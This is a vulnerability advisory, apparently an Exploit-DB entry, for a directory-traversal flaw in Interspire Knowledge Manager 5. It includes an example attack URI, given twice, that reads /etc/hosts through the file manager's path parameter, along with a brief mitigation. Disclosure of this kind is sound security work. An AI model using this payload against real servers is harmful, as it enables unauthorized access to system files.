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vendor:
Knowledge Manager
by:
SecurityFocus
4.3
CVSS
MEDIUM
Directory Traversal
22
CWE
Product Name: Knowledge Manager
Affected Version From: Knowledge Manager 5
Affected Version To: Knowledge Manager 5
Patch Exists: N/A
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
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Platforms Tested: N/A
2009

Interspire Knowledge Manager Directory Traversal Vulnerability

Interspire Knowledge Manager is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data. Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks. The following example URI is available: http://www.example.com/admin/de/dialog/file_manager.php?w=&p=/../../../../../../../../../../../../../etc/hosts

Mitigation:

Input validation should be used to prevent directory traversal attacks.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/36541/info

Interspire Knowledge Manager is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.

Knowledge Manager 5 is vulnerable; other versions may also be affected. 

The following example URI is available:

http://www.example.com/admin/de/dialog/file_manager.php?w=&p=/../../../../../../../../../../../../../etc/hosts